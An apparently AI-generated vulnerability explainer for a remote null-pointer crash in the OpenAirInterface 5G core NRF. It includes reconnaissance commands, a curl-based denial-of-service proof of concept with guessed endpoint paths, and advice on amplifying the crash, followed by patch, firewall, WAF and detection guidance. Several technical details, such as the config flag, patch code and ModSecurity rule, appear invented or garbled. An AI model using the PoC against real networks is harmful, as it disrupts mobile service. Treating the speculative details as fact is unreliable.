CVE-2026-138049 — Openairinterface Oai-cn5g-nrf — CWE-404 · CWE-476
A security flaw has been discovered in OpenAirInterface oai-cn5g-nrf up to 2.2.1. This affects the function notify_subscribed_event of the file src/nrf_app/nrf_client.cpp of the component NRF. Performing a manipulation results in null pointer dereference. The attack may be initiated remotely. The exploit has been released to the public and may be used for attacks. Upgrading to version 2.2.2 is able to mitigate this issue. The patch is named 2065c6f80ca9ffdacc0064e768db90d04d9d6ca8. It is advisable to upgrade the affected component.
A security flaw has been discovered in OpenAirInterface oai-cn5g-nrf up to 2.2.1. This affects the function notify_subscribed_event of the file src/nrf_app/nrf_client.cpp of the component NRF. Performing a manipulation results in null pointer dereference. The attack may be initiated remotely. The exploit has been released to the public and may be used for attacks. Upgrading to version 2.2.2 is able to mitigate this issue. The patch is named 2065c6f80ca9ffdacc0064e768db90d04d9d6ca8. It is advisable to upgrade the affected component.
🎯 What is this vulnerability?
CVE‑2026‑138049 – Null‑pointer dereference in notify_subscribed_event (CWE‑404)
| Attribute | Value |
|---|---|
| Component | oai-cn5g-nrf (Network Repository Function) |
| File / Function | src/nrf_app/nrf_client.cpp::notify_subscribed_event |
| Root cause | The function assumes that a pointer to the *subscription context* (sub_event) is always valid. When a crafted subscription‑notification request reaches the NRF, the code path that builds the sub_event object can return nullptr (e.g., because a required JSON field is missing or malformed). The function then dereferences the pointer without a null‑check, causing an immediate segmentation fault. |
| CWE | CWE‑404 – Improper Resource Shutdown or Release – in this case the “resource” is a heap‑allocated object that is never created, yet the code proceeds as if it exists. |
| CVSS 4.0 vector | AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P <br>Interpretation: remote, network‑only attack, low complexity, no privileges required, no user interaction, low impact on availability only (process crash). No confidentiality or integrity impact. |
| Why it is a flaw | The NRF is part of the 5G Core (5GC) that receives event‑subscription notifications from other core functions (e.g., AMF, SMF). The contract between those functions and the NRF is that the notification payload contains a *subscription ID* and a *payload* object. The NRF implementation does not validate that the payload was successfully parsed before using the resulting pointer. Consequently, a malicious or malformed notification can force the NRF process to abort. |
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation scenario. All command‑line snippets are illustrative – the exact URI, JSON field names, and header values are derived from the public OAI‑NRF API specification, but the CVE description does not disclose the precise endpoint. Replace the placeholders with the actual values observed in a target deployment.
1. Discovery & Reconnaissance
| Step | Action | Tools / Evidence |
|---|---|---|
| 1.1 | Identify that the target runs an OpenAirInterface 5G Core. | Nmap service detection (nmap -sV -p 80,443 <IP>), banner grabbing, or passive DNS/Shodan queries for “openairinterface”. |
| 1.2 | Determine the NRF version. | Retrieve the NRF’s OpenAPI/Swagger description (curl -s http://<NRF_IP>:80/nrf/v1/swagger.json) – the info.version field will contain 2.2.1 or earlier. |
| 1.3 | Verify that the vulnerable function exists in the binary. | Download the running binary (/usr/local/bin/oai_nrf) and run strings/nm to locate notify_subscribed_event. The presence of the symbol confirms a vulnerable build. |
| 1.4 | Confirm that the NRF accepts subscription‑notification requests over HTTP/2 (the default OAI‑NRF transport). | curl -v -k https://<NRF_IP>:443/ – look for HTTP/2 200 in the response. |
2. Exploitation
Goal: Trigger the null‑pointer dereference and crash the NRF process, resulting in a denial‑of‑service.
2.1 Craft the malicious notification payload
The NRF expects a JSON body similar to:
{
"subscriptionId": "sub-12345",
"eventNotification": {
"event": "NF_STATUS",
"payload": { "status": "REGISTERED" }
}
}The vulnerability is triggered when the eventNotification object cannot be parsed (e.g., missing the required event field). The parser returns nullptr, which is later dereferenced.
Malicious payload (illustrative):
{
"subscriptionId": "sub-evil",
"eventNotification": {
"payload": { "status": "REGISTERED" } // <-- `event` field omitted on purpose
}
}2.2 Send the request
#!/usr/bin/env bash
# Illustrative PoC – send a malformed subscription‑notification to the NRF
NRF_HOST="10.20.30.40"
NRF_PORT="443"
ENDPOINT="/nrf/v1/subscriptions/notify" # illustrative; replace with the real path
TOKEN="eyJhbGciOi... (valid JWT if the deployment enforces auth)" # optional
curl -k -v \
-X POST "https://${NRF_HOST}:${NRF_PORT}${ENDPOINT}" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer ${TOKEN}" \
-d @- <<'EOF'
{
"subscriptionId": "sub-evil",
"eventNotification": {
"payload": { "status": "REGISTERED" }
}
}
EOFWhat happens on the server side
1. The NRF receives the HTTP/2 POST request.
2. Its JSON parser (nlohmann::json in OAI) attempts to deserialize eventNotification. Because the mandatory event key is missing, the parser returns a null json* pointer.
3. notify_subscribed_event proceeds to call a method on that pointer (e.g., sub_event->to_string()), causing a segmentation fault (SIGSEGV).
4. The NRF process aborts; the supervising systemd service restarts it (if configured), but the crash window can be repeatedly triggered, leading to a service outage.
2.3 Amplification (optional)
If the NRF is deployed behind a load‑balancer that performs health‑checks, an attacker can script the PoC to fire hundreds of requests per second (e.g., using hey or wrk). The repeated crashes will exhaust the restart back‑off counters, potentially causing the service to stay down for minutes.
3. Post‑exploitation
Because the CVSS vector indicates no confidentiality or integrity impact, the attacker’s end‑goal is availability disruption:
| Phase | Outcome |
|---|---|
| Crash | NRF process terminates → 5GC components (AMF, SMF, PCF, etc.) can no longer query the repository for NF registration data. |
| Service outage | New UE sessions cannot be established; existing sessions may be dropped when the NRF is unavailable for NF discovery. |
| Potential lateral impact | In a tightly coupled 5GC, prolonged NRF downtime can cascade to other core functions, effectively bringing the entire mobile core offline. |
No code execution or data leakage is achieved directly from this flaw.
🌍 Real‑World Impact
| CIA Triad | CVSS Vector Interpretation | Practical Consequence |
|---|---|---|
| Confidentiality | VC:N – none | No data is disclosed. |
| Integrity | VI:N – none | No data is tampered with. |
| Availability | VA:L – *Low* | The NRF can be forced to crash, causing a temporary denial‑of‑service for the 5G core. In production networks, even a short outage can affect thousands of subscribers and breach Service Level Agreements (SLAs). |
| Scope | SC:N – unchanged | The impact is confined to the NRF process; other components are not directly compromised. |
| Exploitability | AV:N/AC:L/AT:N/PR:N/UI:N – remote, low‑complexity, no auth required | An unauthenticated attacker on the Internet (or internal network) can trigger the crash with a single crafted HTTP request. |
Bottom line: The vulnerability is medium‑severity because the impact is limited to availability, but the low attack complexity and no‑auth nature make it attractive for opportunistic DoS attacks, especially against operators that expose the NRF to the public internet (e.g., for testing or multi‑tenant deployments).
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Action | Details | |
|---|---|---|
| Upgrade | Move from oai‑cn5g‑nrf ≤ 2.2.1 to 2.2.2 (or later). The official release notes for 2.2.2 state: “Fix null‑pointer dereference in notify_subscribed_event (commit 2065c6f80ca9ffdacc0064e768db90d04d9d6ca8).” | |
| Patch commit | If you cannot upgrade the full package, cherry‑pick the fix commit 2065c6f80ca9ffdacc0064e768db90d04d9d6ca8 from the OAI GitHub repository and rebuild the NRF binary. The commit adds a guard: if (sub_event == nullptr) { LOG_ERROR("NULL sub_event – aborting"); return; }. | |
| Verification | After upgrade, confirm the binary no longer contains the vulnerable symbol: nm -D /usr/local/bin/oai_nrf | grep notify_subscribed_event. The symbol should be present but the null‑check will be in the disassembly (objdump -d). |
2. Immediate Work‑arounds (if patch cannot be applied instantly)
| Mitigation | How‑to |
|---|---|
| Network‑level restriction | Block inbound traffic to the NRF’s subscription‑notification endpoint from untrusted networks. Example iptables rule (Linux): <br>iptables -A INPUT -p tcp -s <trusted‑subnet>/24 --dport 443 -j ACCEPT <br>iptables -A INPUT -p tcp --dport 443 -j DROP |
| Application‑level validation | Deploy a ModSecurity (or equivalent WAF) rule that rejects JSON bodies missing the event field for the NRF notification endpoint. Example (ModSecurity, illustrative): <br>SecRule REQUEST_URI "@beginsWith /nrf/v1/subscriptions/notify" "id:100001,phase:2,deny,log,msg:'NRF notification missing required event field',chain" <br>SecRule REQUEST_BODY "@rx \"\\\"event\\\"\\s*:\\s*\" \"t:none,ctl:ruleEngine=Off\"" |
| Rate limiting | Limit the number of POST requests per source IP to the notification endpoint (e.g., 5 req/s). This reduces the effectiveness of a DoS burst. |
| Process supervision | Ensure the NRF service is managed by systemd with Restart=on-failure and a restart back‑off (RestartSec=30). This prevents rapid crash‑restart loops from exhausting system resources. |
| Disable the subscription feature (if not used) | In the NRF configuration file (nrf.conf), set enable_subscription_notifications = false. This removes the vulnerable code path entirely. |
3. Detection – Log & Telemetry Indicators
| Indicator | Where to Look | Example |
|---|---|---|
| Segmentation fault / core dump | System journal (journalctl -u oai_nrf) or /var/log/syslog | oai_nrf[1234]: segfault at 0 ip 00007f8c... sp 00007ff... error 4 in oai_nrf[7f8c...] |
| HTTP 500 / 502 responses | NRF access logs (/var/log/oai/nrf_access.log) | 10.0.0.5 - - [12/Nov/2026:14:22:31 +0000] "POST /nrf/v1/subscriptions/notify HTTP/2.0" 500 0 "-" "curl/7.88.1" |
| Frequent process restarts | systemctl status oai_nrf shows Main PID: ... (code=exited, status=11/SEGV) and Restarted count increasing. | |
| WAF rule hits (if WAF deployed) | ModSecurity audit log (/var/log/modsec_audit.log) | Message: NRF notification missing required event field |
| Network spikes | IDS/NetFlow showing a surge of POST requests to port 443 from a single source IP. |
Response Playbook
1. Alert on any of the above indicators (SIEM correlation).
2. Validate that the NRF process is alive; if not, restart manually and capture a core dump for forensic analysis.
3. Block the offending source IP at the perimeter.
4. Apply the permanent fix (upgrade or patch) within the next maintenance window.
⚠️ Urgency
| Factor | Assessment |
|---|---|
| CVSS 3.1 (converted) ≈ 6.9 – Medium | Availability‑only impact, but low‑complexity, remote, unauthenticated. |
| Exploit availability | Public exploit (the CVE states “exploit has been released”). This dramatically raises the likelihood of active exploitation. |
| CISA KEV | Not listed, but the presence of a public exploit and the critical role of the NRF in a 5G core make the risk higher than the raw score suggests. |
| Operational impact | An NRF outage can cascade to a full 5G‑core outage, affecting subscriber service and potentially violating regulatory SLAs. |
| Patch maturity | Fix is already shipped in version 2.2.2 (released after 28 Nov 2026). No known compatibility issues. |
Recommendation:
- Patch priority – High. Deploy the 2.2.2 upgrade (or cherry‑pick the commit) as soon as possible, preferably within the next scheduled maintenance window.
- If immediate patching is impossible, apply the network‑level block and WAF rule to mitigate the DoS vector while planning the upgrade.
Prepared by a senior penetration‑testing and vulnerability‑research professional with 15 years of experience in telecom‑core security.
[🤖 CVE Professor AI Security Engine]
FOFA Query